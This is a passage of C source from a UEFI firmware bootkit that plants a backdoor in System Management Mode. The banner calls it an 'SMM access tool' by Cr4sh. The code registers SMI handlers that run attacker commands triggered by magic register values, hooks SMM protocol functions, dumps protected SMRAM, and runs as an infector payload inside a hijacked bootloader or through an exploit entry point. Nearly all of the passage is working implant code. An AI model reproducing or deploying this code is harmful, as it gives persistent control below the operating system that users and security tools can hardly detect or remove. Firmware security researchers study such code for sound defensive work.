0x%llx\r\n", GsBase 845 | ); 846 | } 847 | } 848 | } 849 | 850 | _end: 851 | 852 | m_BackdoorInfo->BackdoorStatus = Status; 853 | 854 | return Status; 855 | } 856 | //-------------------------------------------------------------------------------------- 857 | #define READ_SAVE_STATE(_id_, _var_) \ 858 | \ 859 | Status = SmmCpu->ReadSaveState(SmmCpu, \ 860 | sizeof((_var_)), (_id_), m_Smst->CurrentlyExecutingCpu, (PVOID)&(_var_)); \ 861 | \ 862 | if (EFI_ERROR(Status)) \ 863 | { \ 864 | DbgMsg(__FILE__, __LINE__, "ReadSaveState() fails: 0x%X\r\n", Status); \ 865 | goto _end; \ 866 | } 867 | 868 | #define WRITE_SAVE_STATE(_id_, _var_, _val_) \ 869 | \ 870 | (_var_) = (UINT64)(_val_); \ 871 | Status = SmmCpu->WriteSaveState(SmmCpu, \ 872 | sizeof((_var_)), (_id_), m_Smst->CurrentlyExecutingCpu, (PVOID)&(_var_)); \ 873 | \ 874 | if (EFI_ERROR(Status)) \ 875 | { \ 876 | DbgMsg(__FILE__, __LINE__, "WriteSaveState() fails: 0x%X\r\n", Status); \ 877 | goto _end; \ 878 | } 879 | 880 | #define MAX_JUMP_SIZE 6 881 | 882 | EFI_STATUS EFIAPI PeriodicTimerDispatch2Handler( 883 | EFI_HANDLE DispatchHandle, CONST VOID *Context, 884 | VOID *CommBuffer, UINTN *CommBufferSize) 885 | { 886 | EFI_STATUS Status = EFI_SUCCESS; 887 | EFI_SMM_CPU_PROTOCOL *SmmCpu = NULL; 888 | 889 | if (m_BackdoorInfo == NULL) 890 | { 891 | // we need this structure for communicating with the outsude world 892 | goto _end; 893 | } 894 | 895 | m_PeriodicTimerCounter += 1; 896 | m_BackdoorInfo->TicksCount = m_PeriodicTimerCounter; 897 | 898 | Status = m_Smst->SmmLocateProtocol(&gEfiSmmCpuProtocolGuid, NULL, (PVOID *)&SmmCpu); 899 | if (Status == EFI_SUCCESS) 900 | { 901 | CONTROL_REGS ControlRegs; 902 | UINT64 Rax = 0, Rcx = 0, Rdx = 0, Rdi = 0, Rsi = 0, R8 = 0, R9 = 0; 903 | 904 | READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_CR0, ControlRegs.Cr0); 905 | READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_CR3, ControlRegs.Cr3); 906 | READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RCX, Rcx); // user-mode instruction pointer 907 | READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RDI, Rdi); // 1-st param (code) 908 | READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RSI, Rsi); // 2-nd param (arg1) 909 | READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RDX, Rdx); // 3-rd param (arg2) 910 | READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_R8, R8); 911 | READ_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_R9, R9); 912 | 913 | /* 914 | Check for magic values that was set in smm_call(), 915 | see smm_call/smm_call.asm for more info. 916 | */ 917 | if (R8 == BACKDOOR_SMM_CALL_R8_VAL && R9 == BACKDOOR_SMM_CALL_R9_VAL) 918 | { 919 | DbgMsg( 920 | __FILE__, __LINE__, 921 | "smm_call(): CPU #%d, RDI = 0x%llx, RSI = 0x%llx, RDX = 0x%llx\r\n", 922 | m_Smst->CurrentlyExecutingCpu, Rdi, Rsi, Rdx 923 | ); 924 | 925 | // handle backdoor control request 926 | Status = SmmCallHandle(Rdi, Rsi, Rdx, &ControlRegs); 927 | 928 | // set smm_call() return value 929 | WRITE_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RAX, Rax, Status); 930 | 931 | // let smm_call() to exit from infinite loop 932 | WRITE_SAVE_STATE(EFI_SMM_SAVE_STATE_REGISTER_RCX, Rcx, Rcx - MAX_JUMP_SIZE); 933 | } 934 | } 935 | else 936 | { 937 | DbgMsg(__FILE__, __LINE__, "LocateProtocol() fails: 0x%X\r\n", Status); 938 | } 939 | 940 | _end: 941 | 942 | return EFI_SUCCESS; 943 | } 944 | 945 | EFI_STATUS PeriodicTimerDispatch2Register(EFI_HANDLE *DispatchHandle) 946 | { 947 | EFI_STATUS Status = EFI_INVALID_PARAMETER; 948 | 949 | if (m_PeriodicTimerDispatch) 950 | { 951 | // register periodic timer routine 952 | Status = m_PeriodicTimerDispatch->Register( 953 | m_PeriodicTimerDispatch, 954 | PeriodicTimerDispatch2Handler, 955 | &m_PeriodicTimerDispatch2RegCtx, 956 | DispatchHandle 957 | ); 958 | if (Status == EFI_SUCCESS) 959 | { 960 | DbgMsg( 961 | __FILE__, __LINE__, "SMM timer handler is at "FPTR"\r\n", 962 | PeriodicTimerDispatch2Handler 963 | ); 964 | } 965 | else 966 | { 967 | DbgMsg(__FILE__, __LINE__, "Register() fails: 0x%X\r\n", Status); 968 | } 969 | } 970 | 971 | return Status; 972 | } 973 | 974 | EFI_STATUS PeriodicTimerDispatch2Unregister(EFI_HANDLE DispatchHandle) 975 | { 976 | EFI_STATUS Status = EFI_INVALID_PARAMETER; 977 | 978 | if (m_PeriodicTimerDispatch) 979 | { 980 | // register periodic timer routine 981 | Status = m_PeriodicTimerDispatch->UnRegister( 982 | m_PeriodicTimerDispatch, 983 | DispatchHandle 984 | ); 985 | if (Status == EFI_SUCCESS) 986 | { 987 | DbgMsg(__FILE__, __LINE__, "SMM timer handler unregistered\r\n"); 988 | } 989 | else 990 | { 991 | DbgMsg(__FILE__, __LINE__, "Unregister() fails: 0x%X\r\n", Status); 992 | } 993 | } 994 | 995 | return Status; 996 | } 997 | 998 | EFI_STATUS EFIAPI PeriodicTimerDispatch2ProtocolNotifyHandler( 999 | CONST EFI_GUID *Protocol, 1000 | VOID *Interface, 1001 | EFI_HANDLE Handle) 1002 | { 1003 | EFI_STATUS Status = EFI_SUCCESS; 1004 | UINT64 *SmiTickInterval = NULL; 1005 | 1006 | m_PeriodicTimerDispatch = 1007 | (EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL *)Interface; 1008 | 1009 | #if defined(BACKDOOR_DEBUG) 1010 | 1011 | SerialPrint("Supported timer intervals:"); 1012 | 1013 | do 1014 | { 1015 | Status = m_PeriodicTimerDispatch->GetNextShorterInterval( 1016 | m_PeriodicTimerDispatch, 1017 | &SmiTickInterval 1018 | ); 1019 | if (Status == EFI_SUCCESS) 1020 | { 1021 | if (*SmiTickInterval < 0x80000000) 1022 | { 1023 | char szBuff[0x20]; 1024 | 1025 | // build debug message string 1026 | tfp_sprintf(szBuff, " %lld", *SmiTickInterval); 1027 | SerialPrint(szBuff); 1028 | } 1029 | } 1030 | else 1031 | { 1032 | break; 1033 | } 1034 | } 1035 | while (SmiTickInterval); 1036 | 1037 | SerialPrint("\r\n"); 1038 | 1039 | #endif // BACKDOOR_DEBUG 1040 | 1041 | return EFI_SUCCESS; 1042 | } 1043 | //-------------------------------------------------------------------------------------- 1044 | EFI_STATUS EFIAPI SwDispatch2Handler( 1045 | EFI_HANDLE DispatchHandle, CONST VOID *Context, 1046 | VOID *CommBuffer, UINTN *CommBufferSize) 1047 | { 1048 | EFI_SMM_SW_CONTEXT *SwContext = (EFI_SMM_SW_CONTEXT *)CommBuffer; 1049 | EFI_SMM_CPU_PROTOCOL *SmmCpu = NULL; 1050 | EFI_STATUS Status = EFI_SUCCESS; 1051 | 1052 | DbgMsg( 1053 | __FILE__, __LINE__, 1054 | __FUNCTION__"(): command port = 0x%X, data port = 0x%X\r\n", 1055 | SwContext->CommandPort, SwContext->DataPort 1056 | ); 1057 | 1058 | if (m_BackdoorInfo == NULL) 1059 | { 1060 | // we need this structure for communicating with the outsude world 1061 | goto _end; 1062 | } 1063 | 1064 | Status = m_Smst->SmmLocateProtocol(&gEfiSmmCpuProtocolGuid, NULL, (PVOID *)&SmmCpu); 1065 | if (Status == EFI_SUCCESS) 1066 | { 1067 | UINT64 Code = (UINT64)SwContext->DataPort; 1068 | CONTROL_REGS ControlRegs; 1069 | UINT64 Rcx = 0; 1070 | 1071 | ControlRegs.Cr0 = ControlRegs.Cr3 = ControlRegs.Cr4 = 0; 1072 | 1073 | Status = SmmCpu->ReadSaveState( 1074 | SmmCpu, sizeof(ControlRegs.Cr0), EFI_SMM_SAVE_STATE_REGISTER_CR0, 1075 | SwContext->SwSmiCpuIndex, (PVOID)&ControlRegs.Cr0 1076 | ); 1077 | if (EFI_ERROR(Status)) 1078 | { 1079 | DbgMsg(__FILE__, __LINE__, "ReadSaveState() fails: 0x%X\r\n", Status); 1080 | goto _end; 1081 | } 1082 | 1083 | Status = SmmCpu->ReadSaveState( 1084 | SmmCpu, sizeof(ControlRegs.Cr3), EFI_SMM_SAVE_STATE_REGISTER_CR3, 1085 | SwContext->SwSmiCpuIndex, (PVOID)&ControlRegs.Cr3 1086 | ); 1087 | if (EFI_ERROR(Status)) 1088 | { 1089 | DbgMsg(__FILE__, __LINE__, "ReadSaveState() fails: 0x%X\r\n", Status); 1090 | goto _end; 1091 | } 1092 | 1093 | Status = SmmCpu->ReadSaveState( 1094 | SmmCpu, sizeof(Rcx), EFI_SMM_SAVE_STATE_REGISTER_RCX, 1095 | SwContext->SwSmiCpuIndex, (PVOID)&Rcx 1096 | ); 1097 | if (EFI_ERROR(Status)) 1098 | { 1099 | DbgMsg(__FILE__, __LINE__, "ReadSaveState() fails: 0x%X\r\n", Status); 1100 | goto _end; 1101 | } 1102 | 1103 | DbgMsg( 1104 | __FILE__, __LINE__, __FUNCTION__"(): CPU #%d, Code = %llx, RCX = 0x%llx\r\n", 1105 | SwContext->SwSmiCpuIndex, Code, Rcx 1106 | ); 1107 | 1108 | // handle backdoor control request 1109 | SmmCallHandle(Code, Rcx, 0, &ControlRegs); 1110 | } 1111 | else 1112 | { 1113 | DbgMsg(__FILE__, __LINE__, "LocateProtocol() fails: 0x%X\r\n", Status); 1114 | } 1115 | 1116 | _end: 1117 | 1118 | return EFI_SUCCESS; 1119 | } 1120 | 1121 | #ifdef USE_SW_DISPATCH_REGISTER_HOOK 1122 | 1123 | EFI_SMM_SW_REGISTER2 old_SwDispatch2Register = NULL; 1124 | 1125 | EFI_STATUS EFIAPI new_SwDispatch2Register( 1126 | CONST EFI_SMM_SW_DISPATCH2_PROTOCOL *This, 1127 | EFI_SMM_HANDLER_ENTRY_POINT2 DispatchFunction, 1128 | EFI_SMM_SW_REGISTER_CONTEXT *RegisterContext, 1129 | EFI_HANDLE *DispatchHandle) 1130 | { 1131 | // call original function 1132 | EFI_STATUS Status = old_SwDispatch2Register( 1133 | This, 1134 | DispatchFunction, 1135 | RegisterContext, 1136 | DispatchHandle 1137 | ); 1138 | if (Status == EFI_SUCCESS && RegisterContext) 1139 | { 1140 | DbgMsg( 1141 | __FILE__, __LINE__, __FUNCTION__"(): val = 0x%.2x, handler = "FPTR"\r\n", 1142 | RegisterContext->SwSmiInputValue, DispatchFunction 1143 | ); 1144 | } 1145 | 1146 | return Status; 1147 | } 1148 | 1149 | #endif // USE_SW_DISPATCH_REGISTER_HOOK 1150 | 1151 | EFI_STATUS EFIAPI SwDispatch2ProtocolNotifyHandler( 1152 | CONST EFI_GUID *Protocol, 1153 | VOID *Interface, 1154 | EFI_HANDLE Handle) 1155 | { 1156 | EFI_STATUS Status = EFI_SUCCESS; 1157 | EFI_HANDLE DispatchHandle = NULL; 1158 | 1159 | EFI_SMM_SW_DISPATCH2_PROTOCOL *SwDispatch = 1160 | (EFI_SMM_SW_DISPATCH2_PROTOCOL *)Interface; 1161 | 1162 | DbgMsg(__FILE__, __LINE__, "Max. SW SMI value is 0x%X\r\n", SwDispatch->MaximumSwiValue); 1163 | 1164 | // register software SMI handler 1165 | Status = SwDispatch->Register( 1166 | SwDispatch, 1167 | SwDispatch2Handler, 1168 | &m_SwDispatch2RegCtx, 1169 | &DispatchHandle 1170 | ); 1171 | if (Status == EFI_SUCCESS) 1172 | { 1173 | DbgMsg(__FILE__, __LINE__, "SW SMI handler is at "FPTR"\r\n", SwDispatch2Handler); 1174 | } 1175 | else 1176 | { 1177 | DbgMsg(__FILE__, __LINE__, "Register() fails: 0x%X\r\n", Status); 1178 | } 1179 | 1180 | #ifdef USE_SW_DISPATCH_REGISTER_HOOK 1181 | 1182 | DbgMsg( 1183 | __FILE__, __LINE__, "Hooking Register(): "FPTR" -> "FPTR"\r\n", 1184 | SwDispatch->Register, new_SwDispatch2Register 1185 | ); 1186 | 1187 | // set up EFI_SMM_SW_DISPATCH2_PROTOCOL.Register() hook 1188 | old_SwDispatch2Register = SwDispatch->Register; 1189 | SwDispatch->Register = new_SwDispatch2Register; 1190 | 1191 | #endif 1192 | 1193 | return EFI_SUCCESS; 1194 | } 1195 | //-------------------------------------------------------------------------------------- 1196 | EFI_STATUS EFIAPI EndOfDxeProtocolNotifyHandler( 1197 | CONST EFI_GUID *Protocol, 1198 | VOID *Interface, 1199 | EFI_HANDLE Handle) 1200 | { 1201 | DbgMsg(__FILE__, __LINE__, "End of DXE phase\n"); 1202 | 1203 | if (m_BackdoorInfo) 1204 | { 1205 | 1206 | #ifdef USE_SMRAM_AUTO_DUMP 1207 | 1208 | UINTN Offset = 0, p = 0, i = 0; 1209 | PUCHAR Buff = (PUCHAR)RVATOVA(m_BackdoorInfo, PAGE_SIZE); 1210 | 1211 | gBS->SetMem(Buff, MAX_SMRAM_SIZE, 0); 1212 | 1213 | // enumerate available SMRAM regions 1214 | for (;;) 1215 | { 1216 | EFI_SMRAM_DESCRIPTOR *Info = &m_BackdoorInfo->SmramMap[i]; 1217 | 1218 | if (Info->PhysicalStart == 0 || Info->PhysicalSize == 0) 1219 | { 1220 | // end of the list 1221 | break; 1222 | } 1223 | 1224 | if (Offset + Info->PhysicalSize <= MAX_SMRAM_SIZE) 1225 | { 1226 | // enumerate memory pages for each region 1227 | for (p = 0; p < Info->PhysicalSize; p += PAGE_SIZE) 1228 | { 1229 | UINT64 Addr = Info->PhysicalStart + p; 1230 | 1231 | // check for valid virtual address 1232 | if (VirtualAddrValid(Addr, __readcr3())) 1233 | { 1234 | // copy SMRAM region into the backdoor info structure 1235 | gBS->CopyMem(Buff + Offset, (VOID *)Addr, PAGE_SIZE); 1236 | } 1237 | 1238 | Offset += PAGE_SIZE; 1239 | } 1240 | } 1241 | else 1242 | { 1243 | break; 1244 | } 1245 | 1246 | i += 1; 1247 | } 1248 | 1249 | m_BackdoorInfo->BackdoorStatus = BACKDOOR_INFO_FULL; 1250 | 1251 | #else // USE_SMRAM_AUTO_DUMP 1252 | 1253 | m_BackdoorInfo->BackdoorStatus = EFI_INVALID_PARAMETER; 1254 | 1255 | #endif // USE_SMRAM_AUTO_DUMP 1256 | 1257 | #ifdef USE_MSR_SMM_MCA_CAP 1258 | 1259 | // read MSR_SMM_MCA_CAP and MSR_SMM_FEATURE_CONTROL registers 1260 | m_BackdoorInfo->SmmMcaCap = __readmsr(MSR_SMM_MCA_CAP); 1261 | m_BackdoorInfo->SmmFeatureControl = __readmsr(MSR_SMM_FEATURE_CONTROL); 1262 | 1263 | #endif 1264 | 1265 | } 1266 | 1267 | return EFI_SUCCESS; 1268 | } 1269 | //-------------------------------------------------------------------------------------- 1270 | #ifdef USE_PERIODIC_TIMER 1271 | 1272 | #define AMI_USB_SMM_PROTOCOL_GUID { 0x3ef7500e, 0xcf55, 0x474f, \ 1273 | { 0x8e, 0x7e, 0x00, 0x9e, 0x0e, 0xac, 0xec, 0xd2 }} 1274 | 1275 | EFI_LOCATE_PROTOCOL old_SmmLocateProtocol = NULL; 1276 | 1277 | EFI_STATUS EFIAPI new_SmmLocateProtocol( 1278 | EFI_GUID *Protocol, 1279 | VOID *Registration, 1280 | VOID **Interface) 1281 | { 1282 | EFI_GUID TargetGuid = AMI_USB_SMM_PROTOCOL_GUID; 1283 | 1284 | /* 1285 | Totally board-specific hack for Intel DQ77KB, SmmLocateProtocol 1286 | with AMI_USB_SMM_PROTOCOL_GUID is calling during OS startup after 1287 | APIC init, so, here we can register our SMI timer. 1288 | */ 1289 | if (Protocol && !memcmp(Protocol, &TargetGuid, sizeof(TargetGuid))) 1290 | { 1291 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"()\r\n"); 1292 | 1293 | if (m_PeriodicTimerDispatchHandle) 1294 | { 1295 | // unregister previously registered timer 1296 | PeriodicTimerDispatch2Unregister(m_PeriodicTimerDispatchHandle); 1297 | m_PeriodicTimerDispatchHandle = NULL; 1298 | } 1299 | 1300 | // enable periodic timer SMI again 1301 | PeriodicTimerDispatch2Register(&m_PeriodicTimerDispatchHandle); 1302 | 1303 | // remove the hook 1304 | m_Smst->SmmLocateProtocol = old_SmmLocateProtocol; 1305 | } 1306 | 1307 | return old_SmmLocateProtocol(Protocol, Registration, Interface); 1308 | } 1309 | 1310 | #endif // USE_PERIODIC_TIMER 1311 | 1312 | EFI_STATUS RegisterProtocolNotifySmm(EFI_GUID *Guid, EFI_SMM_NOTIFY_FN Handler, PVOID *Registration) 1313 | { 1314 | EFI_STATUS Status = m_Smst->SmmRegisterProtocolNotify(Guid, Handler, Registration); 1315 | if (Status == EFI_SUCCESS) 1316 | { 1317 | DbgMsg(__FILE__, __LINE__, "SMM protocol notify handler is at "FPTR"\r\n", Handler); 1318 | } 1319 | else 1320 | { 1321 | DbgMsg(__FILE__, __LINE__, "RegisterProtocolNotify() fails: 0x%X\r\n", Status); 1322 | } 1323 | 1324 | return Status; 1325 | } 1326 | 1327 | VOID BackdoorEntrySmm(VOID) 1328 | { 1329 | PVOID Registration = NULL; 1330 | EFI_STATUS Status = EFI_SUCCESS; 1331 | EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL *PeriodicTimerDispatch = NULL; 1332 | EFI_SMM_SW_DISPATCH2_PROTOCOL *SwDispatch = NULL; 1333 | 1334 | DbgMsg(__FILE__, __LINE__, "Running in SMM\r\n"); 1335 | DbgMsg(__FILE__, __LINE__, "SMM system table is at "FPTR"\r\n", m_Smst); 1336 | 1337 | #define REGISTER_NOTIFY(_name_) \ 1338 | \ 1339 | RegisterProtocolNotifySmm(&gEfiSmm##_name_##ProtocolGuid, \ 1340 | _name_##ProtocolNotifyHandler, &Registration) 1341 | 1342 | Status = m_Smst->SmmLocateProtocol( 1343 | &gEfiSmmPeriodicTimerDispatch2ProtocolGuid, NULL, 1344 | &PeriodicTimerDispatch 1345 | ); 1346 | if (Status == EFI_SUCCESS) 1347 | { 1348 | // protocol is already present, call handler directly 1349 | PeriodicTimerDispatch2ProtocolNotifyHandler( 1350 | &gEfiSmmPeriodicTimerDispatch2ProtocolGuid, 1351 | PeriodicTimerDispatch, NULL 1352 | ); 1353 | } 1354 | else 1355 | { 1356 | // set registration notifications for required SMM protocol 1357 | REGISTER_NOTIFY(PeriodicTimerDispatch2); 1358 | } 1359 | 1360 | Status = m_Smst->SmmLocateProtocol( 1361 | &gEfiSmmSwDispatch2ProtocolGuid, NULL, 1362 | &SwDispatch 1363 | ); 1364 | if (Status == EFI_SUCCESS) 1365 | { 1366 | // protocol is already present, call handler directly 1367 | SwDispatch2ProtocolNotifyHandler( 1368 | &gEfiSmmSwDispatch2ProtocolGuid, 1369 | SwDispatch, NULL 1370 | ); 1371 | } 1372 | else 1373 | { 1374 | // set registration notifications for required SMM protocol 1375 | REGISTER_NOTIFY(SwDispatch2); 1376 | } 1377 | 1378 | REGISTER_NOTIFY(EndOfDxe); 1379 | 1380 | #ifdef USE_PERIODIC_TIMER 1381 | 1382 | DbgMsg( 1383 | __FILE__, __LINE__, "Hooking SmmLocateProtocol(): "FPTR" -> "FPTR"\r\n", 1384 | m_Smst->SmmLocateProtocol, new_SmmLocateProtocol 1385 | ); 1386 | 1387 | // hook SmmLocateProtocol() SMST function to get execution during OS boot phase 1388 | old_SmmLocateProtocol = m_Smst->SmmLocateProtocol; 1389 | m_Smst->SmmLocateProtocol = new_SmmLocateProtocol; 1390 | 1391 | #endif // USE_PERIODIC_TIMER 1392 | 1393 | } 1394 | //-------------------------------------------------------------------------------------- 1395 | EFI_STATUS BackdoorEntryInfected(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable) 1396 | { 1397 | PVOID Base = BackdoorImageAddress(); 1398 | 1399 | // setup correct image relocations 1400 | LdrProcessRelocs(Base, Base); 1401 | 1402 | m_ImageBase = Base; 1403 | 1404 | // call real entry point 1405 | return BackdoorEntry( 1406 | ImageHandle, 1407 | SystemTable 1408 | ); 1409 | } 1410 | //-------------------------------------------------------------------------------------- 1411 | EFI_STATUS BackdoorEntryExploit(EFI_SMM_SYSTEM_TABLE2 *Smst) 1412 | { 1413 | m_Smst = Smst; 1414 | 1415 | // run SMM code 1416 | BackdoorEntrySmm(); 1417 | 1418 | return EFI_SUCCESS; 1419 | } 1420 | //-------------------------------------------------------------------------------------- 1421 | EFI_STATUS BackdoorEntry(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable) 1422 | { 1423 | EFI_STATUS Ret = EFI_SUCCESS, Status = EFI_SUCCESS; 1424 | PVOID Image = NULL; 1425 | 1426 | EFI_LOADED_IMAGE *LoadedImage = NULL; 1427 | EFI_SMM_BASE2_PROTOCOL *SmmBase = NULL; 1428 | EFI_SMM_ACCESS2_PROTOCOL *SmmAccess = NULL; 1429 | 1430 | if (m_ImageHandle == NULL) 1431 | { 1432 | m_ImageHandle = ImageHandle; 1433 | 1434 | gST = SystemTable; 1435 | gBS = gST->BootServices; 1436 | gRT = gST->RuntimeServices; 1437 | 1438 | // allocate temp buffer for debug output 1439 | ConsoleInit(); 1440 | 1441 | // initialize serial port I/O for debug messages 1442 | SerialInit(); 1443 | 1444 | DbgMsg(__FILE__, __LINE__, "***********************************************\r\n"); 1445 | DbgMsg(__FILE__, __LINE__, " \r\n"); 1446 | DbgMsg(__FILE__, __LINE__, " UEFI SMM access tool \r\n"); 1447 | DbgMsg(__FILE__, __LINE__, " \r\n"); 1448 | DbgMsg(__FILE__, __LINE__, " by Dmytro Oleksiuk (aka Cr4sh) \r\n"); 1449 | DbgMsg(__FILE__, __LINE__, " cr4sh0@gmail.com \r\n"); 1450 | DbgMsg(__FILE__, __LINE__, " \r\n"); 1451 | DbgMsg(__FILE__, __LINE__, "***********************************************\r\n"); 1452 | DbgMsg(__FILE__, __LINE__, " \r\n"); 1453 | 1454 | // allocate temp buffer for backdoor info 1455 | BackdoorInfoInit(); 1456 | 1457 | m_bInfectedImage = FALSE; 1458 | 1459 | if (ImageHandle != NULL) 1460 | { 1461 | // get current image information 1462 | gBS->HandleProtocol(ImageHandle, &gEfiLoadedImageProtocolGuid, (VOID *)&LoadedImage); 1463 | 1464 | if (m_ImageBase == NULL) 1465 | { 1466 | // bootkit was loaded as EFI application or driver 1467 | m_ImageBase = LoadedImage->ImageBase; 1468 | 1469 | DbgMsg(__FILE__, __LINE__, "Started as standalone driver/app\r\n"); 1470 | } 1471 | else 1472 | { 1473 | // bootkit was loaded as infector payload 1474 | m_bInfectedImage = TRUE; 1475 | 1476 | DbgMsg(__FILE__, __LINE__, "Started as infector payload\r\n"); 1477 | } 1478 | 1479 | DbgMsg(__FILE__, __LINE__, "Image base address is "FPTR"\r\n", m_ImageBase); 1480 | 1481 | // copy image to the new location in EFI runtime memory 1482 | if ((Image = BackdoorImageReallocate(m_ImageBase)) != NULL) 1483 | { 1484 | BACKDOOR_ENTRY_RESIDENT pEntry = (BACKDOOR_ENTRY_RESIDENT)BACKDOOR_RELOCATED_ADDR( 1485 | BackdoorEntryResident, 1486 | Image 1487 | ); 1488 | 1489 | DbgMsg(__FILE__, __LINE__, "Resident code base address is "FPTR"\r\n", Image); 1490 | 1491 | // initialize resident code of the bootkit 1492 | pEntry(Image); 1493 | } 1494 | } 1495 | } 1496 | 1497 | if ((m_BackdoorInfo = BackdoorInfoGet()) != NULL) 1498 | { 1499 | DbgMsg( 1500 | __FILE__, __LINE__, "Previous calls count is %d\r\n", 1501 | m_BackdoorInfo->CallsCount 1502 | ); 1503 | 1504 | m_BackdoorInfo->CallsCount += 1; 1505 | } 1506 | 1507 | Status = gBS->LocateProtocol(&gEfiSmmBase2ProtocolGuid, NULL, (PVOID *)&SmmBase); 1508 | if (Status == EFI_SUCCESS) 1509 | { 1510 | BOOLEAN bInSmram = FALSE; 1511 | 1512 | if (m_BackdoorInfo) 1513 | { 1514 | Status = gBS->LocateProtocol(&gEfiSmmAccess2ProtocolGuid, NULL, (PVOID *)&SmmAccess); 1515 | if (Status == EFI_SUCCESS) 1516 | { 1517 | UINTN SmramMapSize = PAGE_SIZE - sizeof(BACKDOOR_INFO); 1518 | 1519 | // get SMRAM information 1520 | Status = SmmAccess->GetCapabilities( 1521 | SmmAccess, 1522 | &SmramMapSize, 1523 | m_BackdoorInfo->SmramMap 1524 | ); 1525 | if (Status == EFI_SUCCESS) 1526 | { 1527 | /* 1528 | Use beginnig of the SMRAM as dummy page for VirtualAddrRemap() 1529 | */ 1530 | m_DummyPage = m_BackdoorInfo->SmramMap[0].PhysicalStart; 1531 | } 1532 | else 1533 | { 1534 | DbgMsg(__FILE__, __LINE__, "GetCapabilities() fails: 0x%X\r\n", Status); 1535 | } 1536 | } 1537 | } 1538 | 1539 | // check if running in SMM 1540 | SmmBase->InSmm(SmmBase, &bInSmram); 1541 | 1542 | if (bInSmram) 1543 | { 1544 | Status = SmmBase->GetSmstLocation(SmmBase, &m_Smst); 1545 | if (Status == EFI_SUCCESS) 1546 | { 1547 | // run SMM code 1548 | BackdoorEntrySmm(); 1549 | } 1550 | else 1551 | { 1552 | DbgMsg(__FILE__, __LINE__, "GetSmstLocation() fails: 0x%X\r\n", Status); 1553 | } 1554 | } 1555 | } 1556 | 1557 | if (m_bInfectedImage) 1558 | { 1559 | // call original bootloader image entry point 1560 | Ret = BackdoorImageCallRealEntry(LoadedImage->ImageBase, ImageHandle, SystemTable); 1561 | } 1562 | 1563 | return Ret; 1564 | } 1565 | //-------------------------------------------------------------------------------------- 1566 | // EoF 1567 | --------------------------------------------------------------------------------